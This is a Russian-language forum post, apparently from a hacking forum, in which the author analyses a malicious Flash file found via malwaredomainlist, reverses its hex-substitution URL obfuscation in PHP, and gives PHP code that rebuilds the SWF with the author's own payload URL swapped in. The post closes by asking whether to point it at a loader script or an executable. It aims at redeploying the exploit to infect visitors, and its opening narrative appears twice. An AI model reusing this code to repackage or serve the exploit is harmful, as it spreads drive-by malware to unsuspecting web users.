Пошарился вот на malwaredomainlist
На глаза попался линк на hxxp://micro.deepfoto.eu/counter/i.php
Качнул в Малзилле
На диске сохранился файл i.php
Скачать i.php
Открыл в браузере hxxp://micro.deepfoto.eu/counter/i.php
Сохранил как swf-файл
Скачать SWF
Засунул его в Sothink SWF Decompiler
Обратил внимание вот на эту хрень:
Написал простенький кодер, основываясь на коде из свф
В результате получил
Поискал и нашел эту строчку в коде i.php
Декодировал и перевел в вид, пригодный для малзиллы
Получил такое вот
Опять в малзиллу и Decode HEX
Перешел по найденной ссылке и получил в хлам закодированный файл, который можно скачать вот по этой ссылке
Собственно забилдить собственный свф можно, просто подменив найденную ссылку на свою, примерно вот таким макаром:
И вроде бы все ничего, но никак не всосу, какую линку подставлять- на обычный лоадпшп или на экзэ или чо, тк не пойму, как расшифровать этот самый конечный зашифрованный файл. Вроде бы лоадер выдал экзэ или как
Подскажите, плиззз..
На глаза попался линк на hxxp://micro.deepfoto.eu/counter/i.php
Качнул в Малзилле
На диске сохранился файл i.php
Скачать i.php
Открыл в браузере hxxp://micro.deepfoto.eu/counter/i.php
Сохранил как swf-файл
Скачать SWF
Засунул его в Sothink SWF Decompiler
Обратил внимание вот на эту хрень:
Написал простенький кодер, основываясь на коде из свф
Код:
<?php
$url="http://";
$input=url2hex($url);
for ($i = 0; $i <= strlen($input); $i++)
{
switch($input{$i})
{
case '0':$output.='C';break;
case '1':$output.='3';break;
case '2':$output.='D';break;
case '3':$output.='0';break;
case '4':$output.='2';break;
case '5':$output.='1';break;
case '6':$output.='6';break;
case '7':$output.='B';break;
case '8':$output.='4';break;
case '9':$output.='7';break;
case 'A':$output.='9';break;
case 'B':$output.='5';break;
case 'C':$output.='F';break;
case 'D':$output.='E';break;
case 'E':$output.='A';break;
case 'F':$output.='8';break;
default:
}
}
echo $output;
function url2hex($url)
{
$i=0;
for ($i; $i<strlen($url);$i++)
{
$s=Dechex(ord($url{$i}));
if (strlen($s)==1) {$buff=$buff."0{$s}";} else {$buff=$buff.$s;}
}
return strtoupper($buff);
}
?>
В результате получил
Код:
64B2B2BC09D8D8
Поискал и нашел эту строчку в коде i.php
Код:
64B2B2BC09D8D86E6760BD68DA626161BC6668B268DA61B1D86068B16AB261BDD8676E6BDABC64BC08BC636B610E02885B5CB731081ECA820D40
Декодировал и перевел в вид, пригодный для малзиллы
Код:
<?php
$input='64B2B2BC09D8D86E6760BD68DA626161BC6668B268DA61B1D86068B16AB261BDD8676E6BDABC64BC08BC636B610E02885B5CB731081ECA820D40';
$output='';
for ($i = 0; $i <= strlen($input); $i++)
{
$a=$input{$i};
switch($a)
{
case '8':$output.='F';break;
case 'A':$output.='E';break;
case 'E':$output.='D';break;
case 'F':$output.='C';break;
case '5':$output.='B';break;
case '9':$output.='A';break;
case '7':$output.='9';break;
case '4':$output.='8';break;
case 'B':$output.='7';break;
case '6':$output.='6';break;
case '1':$output.='5';break;
case '2':$output.='4';break;
case '0':$output.='3';break;
case 'D':$output.='2';break;
case '3':$output.='1';break;
case 'C':$output.='0';break;
default:
}
}
echo $output."
";
$res='%';
for ($i = 0; $i <= strlen($output); $i++)
{
$a=$output{$i};
if ($i%2 == 0)
{
//четное
$res=$res.$a;
}
else
{
$res=$res.$a.'%';
}
}
echo substr($res,0,strrpos($res,'%'))."
";
?>
Получил такое вот
Код:
687474703A2F2F6D6963726F2E64656570666F746F2E65752F636F756E7465722F696D672E7068703F706167653D34FFB7B079153F5D0EF43283
%68%74%74%70%3A%2F%2F%6D%69%63%72%6F%2E%64%65%65%70%66%6F%74%6F%2E%65%75%2F%63%6F%75%6E%74%65%72%2F%69%6D%67%2E%70%68%70%3F%70%61%67%65%3D%34%FF%B7%B0%79%15%3F%5D%0E%F4%32%83
Опять в малзиллу и Decode HEX
Перешел по найденной ссылке и получил в хлам закодированный файл, который можно скачать вот по этой ссылке
Собственно забилдить собственный свф можно, просто подменив найденную ссылку на свою, примерно вот таким макаром:
Код:
header("Content-Type: application/x-shockwave-flash\r\n\r\n");
$url="http://...."; // Длина ссылки=длине строки http://micro.deepfoto.eu/counter/img.php?page=4
function url2hex($url)
{
$i=0;
for ($i; $i<strlen($url);$i++)
{
$s=Dechex(ord($url{$i}));
if (strlen($s)==1) {$buff=$buff."0{$s}";} else {$buff=$buff.$s;}
}
return strtoupper($buff);
}
$input=url2hex($url);
for ($i = 0; $i <= strlen($input); $i++)
{
switch($input{$i})
{
case '0':$output.='C';break;
case '1':$output.='3';break;
case '2':$output.='D';break;
case '3':$output.='0';break;
case '4':$output.='2';break;
case '5':$output.='1';break;
case '6':$output.='6';break;
case '7':$output.='B';break;
case '8':$output.='4';break;
case '9':$output.='7';break;
case 'A':$output.='9';break;
case 'B':$output.='5';break;
case 'C':$output.='F';break;
case 'D':$output.='E';break;
case 'E':$output.='A';break;
case 'F':$output.='8';break;
default:
}
}
$swf=base64_decode("...") // Здесь код из i.php
$flash=str_replace("687474703A2F2F6D6963726F2E64656570666F746F2E65752F636F756E7465722F696D672E7068703F706167653D34",$output,$swf);
echo $flash;
И вроде бы все ничего, но никак не всосу, какую линку подставлять- на обычный лоадпшп или на экзэ или чо, тк не пойму, как расшифровать этот самый конечный зашифрованный файл. Вроде бы лоадер выдал экзэ или как
Подскажите, плиззз..